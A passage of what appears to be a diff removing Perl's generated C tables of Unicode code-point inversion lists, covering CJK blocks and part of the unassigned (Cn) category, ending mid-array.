- 0xB82, - 0xB83, - 0xBC0, - 0xBC1, - 0xBCD, - 0xBCE, - 0xC00, - 0xC01, - 0xC3E, - 0xC41, - 0xC46, - 0xC49, - 0xC4A, - 0xC4E, - 0xC55, - 0xC57, - 0xC62, - 0xC64, - 0xC81, - 0xC82, - 0xCBC, - 0xCBD, - 0xCBF, - 0xCC0, - 0xCC6, - 0xCC7, - 0xCCC, - 0xCCE, - 0xCE2, - 0xCE4, - 0xD00, - 0xD02, - 0xD3B, - 0xD3D, - 0xD41, - 0xD45, - 0xD4D, - 0xD4E, - 0xD62, - 0xD64, - 0xDCA, - 0xDCB, - 0xDD2, - 0xDD5, - 0xDD6, - 0xDD7, - 0xE31, - 0xE32, - 0xE34, - 0xE3B, - 0xE46, - 0xE4F, - 0xEB1, - 0xEB2, - 0xEB4, - 0xEBA, - 0xEBB, - 0xEBD, - 0xEC6, - 0xEC7, - 0xEC8, - 0xECE, - 0xF18, - 0xF1A, - 0xF35, - 0xF36, - 0xF37, - 0xF38, - 0xF39, - 0xF3A, - 0xF71, - 0xF7F, - 0xF80, - 0xF85, - 0xF86, - 0xF88, - 0xF8D, - 0xF98, - 0xF99, - 0xFBD, - 0xFC6, - 0xFC7, - 0x102D, - 0x1031, - 0x1032, - 0x1038, - 0x1039, - 0x103B, - 0x103D, - 0x103F, - 0x1058, - 0x105A, - 0x105E, - 0x1061, - 0x1071, - 0x1075, - 0x1082, - 0x1083, - 0x1085, - 0x1087, - 0x108D, - 0x108E, - 0x109D, - 0x109E, - 0x10FC, - 0x10FD, - 0x135D, - 0x1360, - 0x1712, - 0x1715, - 0x1732, - 0x1735, - 0x1752, - 0x1754, - 0x1772, - 0x1774, - 0x17B4, - 0x17B6, - 0x17B7, - 0x17BE, - 0x17C6, - 0x17C7, - 0x17C9, - 0x17D4, - 0x17D7, - 0x17D8, - 0x17DD, - 0x17DE, - 0x180B, - 0x180F, - 0x1843, - 0x1844, - 0x1885, - 0x1887, - 0x18A9, - 0x18AA, - 0x1920, - 0x1923, - 0x1927, - 0x1929, - 0x1932, - 0x1933, - 0x1939, - 0x193C, - 0x1A17, - 0x1A19, - 0x1A1B, - 0x1A1C, - 0x1A56, - 0x1A57, - 0x1A58, - 0x1A5F, - 0x1A60, - 0x1A61, - 0x1A62, - 0x1A63, - 0x1A65, - 0x1A6D, - 0x1A73, - 0x1A7D, - 0x1A7F, - 0x1A80, - 0x1AA7, - 0x1AA8, - 0x1AB0, - 0x1ABF, - 0x1B00, - 0x1B04, - 0x1B34, - 0x1B35, - 0x1B36, - 0x1B3B, - 0x1B3C, - 0x1B3D, - 0x1B42, - 0x1B43, - 0x1B6B, - 0x1B74, - 0x1B80, - 0x1B82, - 0x1BA2, - 0x1BA6, - 0x1BA8, - 0x1BAA, - 0x1BAB, - 0x1BAE, - 0x1BE6, - 0x1BE7, - 0x1BE8, - 0x1BEA, - 0x1BED, - 0x1BEE, - 0x1BEF, - 0x1BF2, - 0x1C2C, - 0x1C34, - 0x1C36, - 0x1C38, - 0x1C78, - 0x1C7E, - 0x1CD0, - 0x1CD3, - 0x1CD4, - 0x1CE1, - 0x1CE2, - 0x1CE9, - 0x1CED, - 0x1CEE, - 0x1CF4, - 0x1CF5, - 0x1CF8, - 0x1CFA, - 0x1D2C, - 0x1D6B, - 0x1D78, - 0x1D79, - 0x1D9B, - 0x1DFA, - 0x1DFB, - 0x1E00, - 0x1FBD, - 0x1FBE, - 0x1FBF, - 0x1FC2, - 0x1FCD, - 0x1FD0, - 0x1FDD, - 0x1FE0, - 0x1FED, - 0x1FF0, - 0x1FFD, - 0x1FFF, - 0x200B, - 0x2010, - 0x2018, - 0x201A, - 0x2024, - 0x2025, - 0x2027, - 0x2028, - 0x202A, - 0x202F, - 0x2060, - 0x2065, - 0x2066, - 0x2070, - 0x2071, - 0x2072, - 0x207F, - 0x2080, - 0x2090, - 0x209D, - 0x20D0, - 0x20F1, - 0x2C7C, - 0x2C7E, - 0x2CEF, - 0x2CF2, - 0x2D6F, - 0x2D70, - 0x2D7F, - 0x2D80, - 0x2DE0, - 0x2E00, - 0x2E2F, - 0x2E30, - 0x3005, - 0x3006, - 0x302A, - 0x302E, - 0x3031, - 0x3036, - 0x303B, - 0x303C, - 0x3099, - 0x309F, - 0x30FC, - 0x30FF, - 0xA015, - 0xA016, - 0xA4F8, - 0xA4FE, - 0xA60C, - 0xA60D, - 0xA66F, - 0xA673, - 0xA674, - 0xA67E, - 0xA67F, - 0xA680, - 0xA69C, - 0xA6A0, - 0xA6F0, - 0xA6F2, - 0xA700, - 0xA722, - 0xA770, - 0xA771, - 0xA788, - 0xA78B, - 0xA7F8, - 0xA7FA, - 0xA802, - 0xA803, - 0xA806, - 0xA807, - 0xA80B, - 0xA80C, - 0xA825, - 0xA827, - 0xA8C4, - 0xA8C6, - 0xA8E0, - 0xA8F2, - 0xA926, - 0xA92E, - 0xA947, - 0xA952, - 0xA980, - 0xA983, - 0xA9B3, - 0xA9B4, - 0xA9B6, - 0xA9BA, - 0xA9BC, - 0xA9BD, - 0xA9CF, - 0xA9D0, - 0xA9E5, - 0xA9E7, - 0xAA29, - 0xAA2F, - 0xAA31, - 0xAA33, - 0xAA35, - 0xAA37, - 0xAA43, - 0xAA44, - 0xAA4C, - 0xAA4D, - 0xAA70, - 0xAA71, - 0xAA7C, - 0xAA7D, - 0xAAB0, - 0xAAB1, - 0xAAB2, - 0xAAB5, - 0xAAB7, - 0xAAB9, - 0xAABE, - 0xAAC0, - 0xAAC1, - 0xAAC2, - 0xAADD, - 0xAADE, - 0xAAEC, - 0xAAEE, - 0xAAF3, - 0xAAF5, - 0xAAF6, - 0xAAF7, - 0xAB5B, - 0xAB60, - 0xABE5, - 0xABE6, - 0xABE8, - 0xABE9, - 0xABED, - 0xABEE, - 0xFB1E, - 0xFB1F, - 0xFBB2, - 0xFBC2, - 0xFE00, - 0xFE10, - 0xFE13, - 0xFE14, - 0xFE20, - 0xFE30, - 0xFE52, - 0xFE53, - 0xFE55, - 0xFE56, - 0xFEFF, - 0xFF00, - 0xFF07, - 0xFF08, - 0xFF0E, - 0xFF0F, - 0xFF1A, - 0xFF1B, - 0xFF3E, - 0xFF3F, - 0xFF40, - 0xFF41, - 0xFF70, - 0xFF71, - 0xFF9E, - 0xFFA0, - 0xFFE3, - 0xFFE4, - 0xFFF9, - 0xFFFC, - 0x101FD, - 0x101FE, - 0x102E0, - 0x102E1, - 0x10376, - 0x1037B, - 0x10A01, - 0x10A04, - 0x10A05, - 0x10A07, - 0x10A0C, - 0x10A10, - 0x10A38, - 0x10A3B, - 0x10A3F, - 0x10A40, - 0x10AE5, - 0x10AE7, - 0x11001, - 0x11002, - 0x11038, - 0x11047, - 0x1107F, - 0x11082, - 0x110B3, - 0x110B7, - 0x110B9, - 0x110BB, - 0x110BD, - 0x110BE, - 0x11100, - 0x11103, - 0x11127, - 0x1112C, - 0x1112D, - 0x11135, - 0x11173, - 0x11174, - 0x11180, - 0x11182, - 0x111B6, - 0x111BF, - 0x111CA, - 0x111CD, - 0x1122F, - 0x11232, - 0x11234, - 0x11235, - 0x11236, - 0x11238, - 0x1123E, - 0x1123F, - 0x112DF, - 0x112E0, - 0x112E3, - 0x112EB, - 0x11300, - 0x11302, - 0x1133C, - 0x1133D, - 0x11340, - 0x11341, - 0x11366, - 0x1136D, - 0x11370, - 0x11375, - 0x11438, - 0x11440, - 0x11442, - 0x11445, - 0x11446, - 0x11447, - 0x114B3, - 0x114B9, - 0x114BA, - 0x114BB, - 0x114BF, - 0x114C1, - 0x114C2, - 0x114C4, - 0x115B2, - 0x115B6, - 0x115BC, - 0x115BE, - 0x115BF, - 0x115C1, - 0x115DC, - 0x115DE, - 0x11633, - 0x1163B, - 0x1163D, - 0x1163E, - 0x1163F, - 0x11641, - 0x116AB, - 0x116AC, - 0x116AD, - 0x116AE, - 0x116B0, - 0x116B6, - 0x116B7, - 0x116B8, - 0x1171D, - 0x11720, - 0x11722, - 0x11726, - 0x11727, - 0x1172C, - 0x11A01, - 0x11A07, - 0x11A09, - 0x11A0B, - 0x11A33, - 0x11A39, - 0x11A3B, - 0x11A3F, - 0x11A47, - 0x11A48, - 0x11A51, - 0x11A57, - 0x11A59, - 0x11A5C, - 0x11A8A, - 0x11A97, - 0x11A98, - 0x11A9A, - 0x11C30, - 0x11C37, - 0x11C38, - 0x11C3E, - 0x11C3F, - 0x11C40, - 0x11C92, - 0x11CA8, - 0x11CAA, - 0x11CB1, - 0x11CB2, - 0x11CB4, - 0x11CB5, - 0x11CB7, - 0x11D31, - 0x11D37, - 0x11D3A, - 0x11D3B, - 0x11D3C, - 0x11D3E, - 0x11D3F, - 0x11D46, - 0x11D47, - 0x11D48, - 0x16AF0, - 0x16AF5, - 0x16B30, - 0x16B37, - 0x16B40, - 0x16B44, - 0x16F8F, - 0x16FA0, - 0x16FE0, - 0x16FE2, - 0x1BC9D, - 0x1BC9F, - 0x1BCA0, - 0x1BCA4, - 0x1D167, - 0x1D16A, - 0x1D173, - 0x1D183, - 0x1D185, - 0x1D18C, - 0x1D1AA, - 0x1D1AE, - 0x1D242, - 0x1D245, - 0x1DA00, - 0x1DA37, - 0x1DA3B, - 0x1DA6D, - 0x1DA75, - 0x1DA76, - 0x1DA84, - 0x1DA85, - 0x1DA9B, - 0x1DAA0, - 0x1DAA1, - 0x1DAB0, - 0x1E000, - 0x1E007, - 0x1E008, - 0x1E019, - 0x1E01B, - 0x1E022, - 0x1E023, - 0x1E025, - 0x1E026, - 0x1E02B, - 0x1E8D0, - 0x1E8D7, - 0x1E944, - 0x1E94B, - 0x1F3FB, - 0x1F400, - 0xE0001, - 0xE0002, - 0xE0020, - 0xE0080, - 0xE0100, - 0xE01F0 -}; - -# endif /* EBCDIC 037 */ - -static const UV PL_CJK_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x4E00, - 0xA000 -}; - -static const UV PL_CJKCOMPAT_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x3300, - 0x3400 -}; - -static const UV PL_CJKCOMPATFORMS_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xFE30, - 0xFE50 -}; - -static const UV PL_CJKCOMPATIDEOGRAPHS_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xF900, - 0xFB00 -}; - -static const UV PL_CJKCOMPATIDEOGRAPHSSUP_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x2F800, - 0x2FA20 -}; - -static const UV PL_CJKEXTA_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x3400, - 0x4DC0 -}; - -static const UV PL_CJKEXTB_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x20000, - 0x2A6E0 -}; - -static const UV PL_CJKEXTC_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x2A700, - 0x2B740 -}; - -static const UV PL_CJKEXTD_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x2B740, - 0x2B820 -}; - -static const UV PL_CJKEXTE_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x2B820, - 0x2CEB0 -}; - -static const UV PL_CJKEXTF_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x2CEB0, - 0x2EBF0 -}; - -static const UV PL_CJKRADICALSSUP_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x2E80, - 0x2F00 -}; - -static const UV PL_CJKSTROKES_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x31C0, - 0x31F0 -}; - -static const UV PL_CJKSYMBOLS_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x3000, - 0x3040 -}; - -static const UV PL_CN_invlist[] = { /* for all charsets */ - 1298, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x378, - 0x37A, - 0x380, - 0x384, - 0x38B, - 0x38C, - 0x38D, - 0x38E, - 0x3A2, - 0x3A3, - 0x530, - 0x531, - 0x557, - 0x559, - 0x560, - 0x561, - 0x588, - 0x589, - 0x58B, - 0x58D, - 0x590, - 0x591, - 0x5C8, - 0x5D0, - 0x5EB, - 0x5F0, - 0x5F5, - 0x600, - 0x61D, - 0x61E, - 0x70E, - 0x70F, - 0x74B, - 0x74D, - 0x7B2, - 0x7C0, - 0x7FB, - 0x800, - 0x82E, - 0x830, - 0x83F, - 0x840, - 0x85C, - 0x85E, - 0x85F, - 0x860, - 0x86B, - 0x8A0, - 0x8B5, - 0x8B6, - 0x8BE, - 0x8D4, - 0x984, - 0x985, - 0x98D, - 0x98F, - 0x991, - 0x993, - 0x9A9, - 0x9AA, - 0x9B1, - 0x9B2, - 0x9B3, - 0x9B6, - 0x9BA, - 0x9BC, - 0x9C5, - 0x9C7, - 0x9C9, - 0x9CB, - 0x9CF, - 0x9D7, - 0x9D8, - 0x9DC, - 0x9DE, - 0x9DF, - 0x9E4, - 0x9E6, - 0x9FE, - 0xA01, - 0xA04, - 0xA05, - 0xA0B, - 0xA0F, - 0xA11, - 0xA13, - 0xA29, - 0xA2A, - 0xA31, - 0xA32, - 0xA34, - 0xA35, - 0xA37, - 0xA38, - 0xA3A, - 0xA3C, - 0xA3D, - 0xA3E, - 0xA43, - 0xA47, - 0xA49, - 0xA4B, - 0xA4E, - 0xA51, - 0xA52, - 0xA59, - 0xA5D, - 0xA5E, - 0xA5F, - 0xA66, - 0xA76, - 0xA81, - 0xA84, - 0xA85, - 0xA8E, - 0xA8F, - 0xA92, - 0xA93, - 0xAA9, - 0xAAA, - 0xAB1, - 0xAB2, - 0xAB4, - 0xAB5, - 0xABA, - 0xABC, - 0xAC6, - 0xAC7, - 0xACA, - 0xACB, - 0xACE, - 0xAD0, - 0xAD1, - 0xAE0, - 0xAE4, - 0xAE6, - 0xAF2, - 0xAF9, - 0xB00, - 0xB01, - 0xB04, - 0xB05, - 0xB0D, - 0xB0F, - 0xB11, - 0xB13, - 0xB29, - 0xB2A, - 0xB31, - 0xB32, - 0xB34, - 0xB35, - 0xB3A, - 0xB3C, - 0xB45, - 0xB47, - 0xB49, - 0xB4B, - 0xB4E, - 0xB56, - 0xB58, - 0xB5C, - 0xB5E, - 0xB5F, - 0xB64, - 0xB66, - 0xB78, - 0xB82, - 0xB84, - 0xB85, - 0xB8B, - 0xB8E, - 0xB91, - 0xB92, - 0xB96, - 0xB99, - 0xB9B, - 0xB9C, - 0xB9D, - 0xB9E, - 0xBA0, - 0xBA3, - 0xBA5, - 0xBA8, - 0xBAB, - 0xBAE, - 0xBBA, - 0xBBE, - 0xBC3, - 0xBC6, - 0xBC9, - 0xBCA, - 0xBCE, - 0xBD0, - 0xBD1, - 0xBD7, - 0xBD8, - 0xBE6, - 0xBFB, - 0xC00, - 0xC04, - 0xC05, - 0xC0D, - 0xC0E, - 0xC11, - 0xC12, - 0xC29, - 0xC2A, - 0xC3A, - 0xC3D, - 0xC45, - 0xC46, - 0xC49, - 0xC4A, - 0xC4E, - 0xC55, - 0xC57, - 0xC58, - 0xC5B, - 0xC60, - 0xC64, - 0xC66, - 0xC70, - 0xC78, - 0xC84, - 0xC85, - 0xC8D, - 0xC8E, - 0xC91, - 0xC92, - 0xCA9, - 0xCAA, - 0xCB4, - 0xCB5, - 0xCBA, - 0xCBC, - 0xCC5, - 0xCC6, - 0xCC9, - 0xCCA, - 0xCCE, - 0xCD5, - 0xCD7, - 0xCDE, - 0xCDF, - 0xCE0, - 0xCE4, - 0xCE6, - 0xCF0, - 0xCF1, - 0xCF3, - 0xD00, - 0xD04, - 0xD05, - 0xD0D, - 0xD0E, - 0xD11, - 0xD12, - 0xD45, - 0xD46, - 0xD49, - 0xD4A, - 0xD50, - 0xD54, - 0xD64, - 0xD66, - 0xD80, - 0xD82, - 0xD84, - 0xD85, - 0xD97, - 0xD9A, - 0xDB2, - 0xDB3, - 0xDBC, - 0xDBD, - 0xDBE, - 0xDC0, - 0xDC7, - 0xDCA, - 0xDCB, - 0xDCF, - 0xDD5, - 0xDD6, - 0xDD7, - 0xDD8, - 0xDE0, - 0xDE6, - 0xDF0, - 0xDF2, - 0xDF5, - 0xE01, - 0xE3B, - 0xE3F, - 0xE5C, - 0xE81, - 0xE83, - 0xE84, - 0xE85, - 0xE87, - 0xE89, - 0xE8A, - 0xE8B, - 0xE8D, - 0xE8E, - 0xE94, - 0xE98, - 0xE99, - 0xEA0, - 0xEA1, - 0xEA4, - 0xEA5, - 0xEA6, - 0xEA7, - 0xEA8, - 0xEAA, - 0xEAC, - 0xEAD, - 0xEBA, - 0xEBB, - 0xEBE, - 0xEC0, - 0xEC5, - 0xEC6, - 0xEC7, - 0xEC8, - 0xECE, - 0xED0, - 0xEDA, - 0xEDC, - 0xEE0, - 0xF00, - 0xF48, - 0xF49, - 0xF6D, - 0xF71, - 0xF98, - 0xF99, - 0xFBD, - 0xFBE, - 0xFCD, - 0xFCE, - 0xFDB, - 0x1000, - 0x10C6, - 0x10C7, - 0x10C8, - 0x10CD, - 0x10CE, - 0x10D0, - 0x1249, - 0x124A, - 0x124E, - 0x1250, - 0x1257, - 0x1258, - 0x1259, - 0x125A, - 0x125E, - 0x1260, - 0x1289, - 0x128A, - 0x128E, - 0x1290, - 0x12B1, - 0x12B2, - 0x12B6, - 0x12B8, - 0x12BF, - 0x12C0, - 0x12C1, - 0x12C2, - 0x12C6, - 0x12C8, - 0x12D7, - 0x12D8, - 0x1311, - 0x1312, - 0x1316, - 0x1318, - 0x135B, - 0x135D, - 0x137D, - 0x1380, - 0x139A, - 0x13A0, - 0x13F6, - 0x13F8, - 0x13FE, - 0x1400, - 0x169D, - 0x16A0, - 0x16F9, - 0x1700, - 0x170D, - 0x170E, - 0x1715, - 0x1720, - 0x1737, - 0x1740, - 0x1754, - 0x1760, - 0x176D, - 0x176E, - 0x1771, - 0x1772, - 0x1774, - 0x1780, - 0x17DE, - 0x17E0, - 0x17EA, - 0x17F0, - 0x17FA, - 0x1800, - 0x180F, - 0x1810, - 0x181A, - 0x1820, - 0x1878, - 0x1880, - 0x18AB, - 0x18B0, - 0x18F6, - 0x1900, - 0x191F, - 0x1920, - 0x192C, - 0x1930, - 0x193C, - 0x1940, - 0x1941, - 0x1944, - 0x196E, - 0x1970, - 0x1975, - 0x1980, - 0x19AC, - 0x19B0, - 0x19CA, - 0x19D0, - 0x19DB, - 0x19DE, - 0x1A1C, - 0x1A1E, - 0x1A5F, - 0x1A60, - 0x1A7D, - 0x1A7F, - 0x1A8A, - 0x1A90, - 0x1A9A, - 0x1AA0, - 0x1AAE, - 0x1AB0, - 0x1ABF, - 0x1B00, - 0x1B4C, - 0x1B50, - 0x1B7D, - 0x1B80, - 0x1BF4, - 0x1BFC, - 0x1C38, - 0x1C3B, - 0x1C4A, - 0x1C4D, - 0x1C89, - 0x1CC0, - 0x1CC8, - 0x1CD0, - 0x1CFA, - 0x1D00, - 0x1DFA, - 0x1DFB, - 0x1F16, - 0x1F18, - 0x1F1E, - 0x1F20, - 0x1F46, - 0x1F48, - 0x1F4E, - 0x1F50, - 0x1F58, - 0x1F59, - 0x1F5A, - 0x1F5B, - 0x1F5C, - 0x1F5D, - 0x1F5E, - 0x1F5F, - 0x1F7E, - 0x1F80, - 0x1FB5, - 0x1FB6, - 0x1FC5, - 0x1FC6, - 0x1FD4, - 0x1FD6, - 0x1FDC, - 0x1FDD, - 0x1FF0, - 0x1FF2, - 0x1FF5, - 0x1FF6, - 0x1FFF, - 0x2000, - 0x2065, - 0x2066, - 0x2072, - 0x2074, - 0x208F, - 0x2090, - 0x209D, - 0x20A0, - 0x20C0, - 0x20D0, - 0x20F1, - 0x2100, - 0x218C, - 0x2190, - 0x2427, - 0x2440, - 0x244B, - 0x2460, - 0x2B74, - 0x2B76, - 0x2B96, - 0x2B98, - 0x2BBA, - 0x2BBD, - 0x2BC9, - 0x2BCA, - 0x2BD3, - 0x2BEC, - 0x2BF0, - 0x2C00, - 0x2C2F, - 0x2C30, - 0x2C5F, - 0x2C60, - 0x2CF4, - 0x2CF9, - 0x2D26, - 0x2D27, - 0x2D28, - 0x2D2D, - 0x2D2E, - 0x2D30, - 0x2D68, - 0x2D6F, - 0x2D71, - 0x2D7F, - 0x2D97, - 0x2DA0, - 0x2DA7, - 0x2DA8, - 0x2DAF, - 0x2DB0, - 0x2DB7, - 0x2DB8, - 0x2DBF, - 0x2DC0, - 0x2DC7, - 0x2DC8, - 0x2DCF, - 0x2DD0, - 0x2DD7, - 0x2DD8, - 0x2DDF, - 0x2DE0, - 0x2E4A, - 0x2E80, - 0x2E9A, - 0x2E9B, - 0x2EF4, - 0x2F00, - 0x2FD6, - 0x2FF0, - 0x2FFC, - 0x3000, - 0x3040, - 0x3041, - 0x3097, - 0x3099, - 0x3100, - 0x3105, - 0x312F, - 0x3131, - 0x318F, - 0x3190, - 0x31BB, - 0x31C0, - 0x31E4, - 0x31F0, - 0x321F, - 0x3220, - 0x32FF, - 0x3300, - 0x4DB6, - 0x4DC0, - 0x9FEB, - 0xA000, - 0xA48D, - 0xA490, - 0xA4C7, - 0xA4D0, - 0xA62C, - 0xA640, - 0xA6F8, - 0xA700, - 0xA7AF, - 0xA7B0, - 0xA7B8, - 0xA7F7, - 0xA82C, - 0xA830, - 0xA83A, - 0xA840, - 0xA878, - 0xA880, - 0xA8C6, - 0xA8CE, - 0xA8DA, - 0xA8E0, - 0xA8FE, - 0xA900, - 0xA954, - 0xA95F, - 0xA97D, - 0xA980, - 0xA9CE, - 0xA9CF, - 0xA9DA, - 0xA9DE, - 0xA9FF, - 0xAA00, - 0xAA37, - 0xAA40, - 0xAA4E, - 0xAA50, - 0xAA5A, - 0xAA5C, - 0xAAC3, - 0xAADB, - 0xAAF7, - 0xAB01, - 0xAB07, - 0xAB09, - 0xAB0F, - 0xAB11, - 0xAB17, - 0xAB20, - 0xAB27, - 0xAB28, - 0xAB2F, - 0xAB30, - 0xAB66, - 0xAB70, - 0xABEE, - 0xABF0, - 0xABFA, - 0xAC00, - 0xD7A4, - 0xD7B0, - 0xD7C7, - 0xD7CB, - 0xD7FC, - 0xD800, - 0xFA6E, - 0xFA70, - 0xFADA, - 0xFB00, - 0xFB07, - 0xFB13, - 0xFB18, - 0xFB1D, - 0xFB37, - 0xFB38, - 0xFB3D, - 0xFB3E, - 0xFB3F, - 0xFB40, - 0xFB42, - 0xFB43, - 0xFB45, - 0xFB46, - 0xFBC2, - 0xFBD3, - 0xFD40, - 0xFD50, - 0xFD90, - 0xFD92, - 0xFDC8, - 0xFDF0, - 0xFDFE, - 0xFE00, - 0xFE1A, - 0xFE20, - 0xFE53, - 0xFE54, - 0xFE67, - 0xFE68, - 0xFE6C, - 0xFE70, - 0xFE75, - 0xFE76, - 0xFEFD, - 0xFEFF, - 0xFF00, - 0xFF01, - 0xFFBF, - 0xFFC2, - 0xFFC8, - 0xFFCA, - 0xFFD0, - 0xFFD2, - 0xFFD8, - 0xFFDA, - 0xFFDD, - 0xFFE0, - 0xFFE7, - 0xFFE8, - 0xFFEF, - 0xFFF9, - 0xFFFE, - 0x10000, - 0x1000C, - 0x1000D, - 0x10027, - 0x10028, - 0x1003B, - 0x1003C, - 0x1003E, - 0x1003F, - 0x1004E, - 0x10050, - 0x1005E, - 0x10080, - 0x100FB, - 0x10100, - 0x10103, - 0x10107, - 0x10134, - 0x10137, - 0x1018F, - 0x10190, - 0x1019C, - 0x101A0, - 0x101A1, - 0x101D0, - 0x101FE, - 0x10280, - 0x1029D, - 0x102A0, - 0x102D1, - 0x102E0, - 0x102FC, - 0x10300, - 0x10324, - 0x1032D, - 0x1034B, - 0x10350, - 0x1037B, - 0x10380, - 0x1039E, - 0x1039F, - 0x103C4, - 0x103C8, - 0x103D6, - 0x10400, - 0x1049E, - 0x104A0, - 0x104AA, - 0x104B0, - 0x104D4, - 0x104D8, - 0x104FC, - 0x10500, - 0x10528, - 0x10530, - 0x10564, - 0x1056F, - 0x10570, - 0x10600, - 0x10737, - 0x10740, - 0x10756, - 0x10760, - 0x10768, - 0x10800, - 0x10806, - 0x10808, - 0x10809, - 0x1080A, - 0x10836, - 0x10837, - 0x10839, - 0x1083C, - 0x1083D, - 0x1083F, - 0x10856, - 0x10857, - 0x1089F, - 0x108A7, - 0x108B0, - 0x108E0, - 0x108F3, - 0x108F4, - 0x108F6, - 0x108FB, - 0x1091C, - 0x1091F, - 0x1093A, - 0x1093F, - 0x10940, - 0x10980, - 0x109B8, - 0x109BC, - 0x109D0, - 0x109D2, - 0x10A04, - 0x10A05, - 0x10A07, - 0x10A0C, - 0x10A14, - 0x10A15, - 0x10A18, - 0x10A19, - 0x10A34, - 0x10A38, - 0x10A3B, - 0x10A3F, - 0x10A48, - 0x10A50, - 0x10A59, - 0x10A60, - 0x10AA0, - 0x10AC0, - 0x10AE7, - 0x10AEB, - 0x10AF7, - 0x10B00, - 0x10B36, - 0x10B39, - 0x10B56, - 0x10B58, - 0x10B73, - 0x10B78, - 0x10B92, - 0x10B99, - 0x10B9D, - 0x10BA9, - 0x10BB0, - 0x10C00, - 0x10C49, - 0x10C80, - 0x10CB3, - 0x10CC0, - 0x10CF3, - 0x10CFA, - 0x10D00, - 0x10E60, - 0x10E7F, - 0x11000, - 0x1104E, - 0x11052, - 0x11070, - 0x1107F, - 0x110C2, - 0x110D0, - 0x110E9, - 0x110F0, - 0x110FA, - 0x11100, - 0x11135, - 0x11136, - 0x11144, - 0x11150, - 0x11177, - 0x11180, - 0x111CE, - 0x111D0, - 0x111E0, - 0x111E1, - 0x111F5, - 0x11200, - 0x11212, - 0x11213, - 0x1123F, - 0x11280, - 0x11287, - 0x11288, - 0x11289, - 0x1128A, - 0x1128E, - 0x1128F, - 0x1129E, - 0x1129F, - 0x112AA, - 0x112B0, - 0x112EB, - 0x112F0, - 0x112FA, - 0x11300, - 0x11304, - 0x11305, - 0x1130D, - 0x1130F, - 0x11311, - 0x11313, - 0x11329, - 0x1132A, - 0x11331, - 0x11332, - 0x11334, - 0x11335, - 0x1133A, - 0x1133C, - 0x11345, - 0x11347, - 0x11349, - 0x1134B, - 0x1134E, - 0x11350, - 0x11351, - 0x11357, - 0x11358, - 0x1135D, - 0x11364, - 0x11366, - 0x1136D, - 0x11370, - 0x11375, - 0x11400, - 0x1145A, - 0x1145B, - 0x1145C, - 0x1145D, - 0x1145E, - 0x11480, - 0x114C8, - 0x114D0, - 0x114DA, - 0x11580, - 0x115B6, - 0x115B8, - 0x115DE, - 0x11600, - 0x11645, - 0x11650, - 0x1165A, - 0x11660, - 0x1166D, - 0x11680, - 0x116B8, - 0x116C0, - 0x116CA, - 0x11700, - 0x1171A, - 0x1171D, - 0x1172C, - 0x11730, - 0x11740, - 0x118A0, - 0x118F3, - 0x118FF, - 0x11900, - 0x11A00, - 0x11A48, - 0x11A50, - 0x11A84, - 0x11A86, - 0x11A9D, - 0x11A9E, - 0x11AA3, - 0x11AC0, - 0x11AF9, - 0x11C00, - 0x11C09, - 0x11C0A, - 0x11C37, - 0x11C38, - 0x11C46, - 0x11C50, - 0x11C6D, - 0x11C70, - 0x11C90, - 0x11C92, - 0x11CA8, - 0x11CA9, - 0x11CB7, - 0x11D00, - 0x11D07, - 0x11D08, - 0x11D0A, - 0x11D0B, - 0x11D37, - 0x11D3A, - 0x11D3B, - 0x11D3C, - 0x11D3E, - 0x11D3F, - 0x11D48, - 0x11D50, - 0x11D5A, - 0x12000, - 0x1239A, - 0x12400, - 0x1246F, - 0x12470, - 0x12475, - 0x12480, - 0x12544, - 0x13000, - 0x1342F, - 0x14400, - 0x14647, - 0x16800, - 0x16A39, - 0x16A40, - 0x16A5F, - 0x16A60, - 0x16A6A, - 0x16A6E, - 0x16A70, - 0x16AD0, - 0x16AEE, - 0x16AF0, - 0x16AF6, - 0x16B00, - 0x16B46, - 0x16B50, - 0x16B5A, - 0x16B5B, - 0x16B62, - 0x16B63, - 0x16B78, - 0x16B7D, - 0x16B90, - 0x16F00, - 0x16F45, - 0x16F50, - 0x16F7F, - 0x16F8F, - 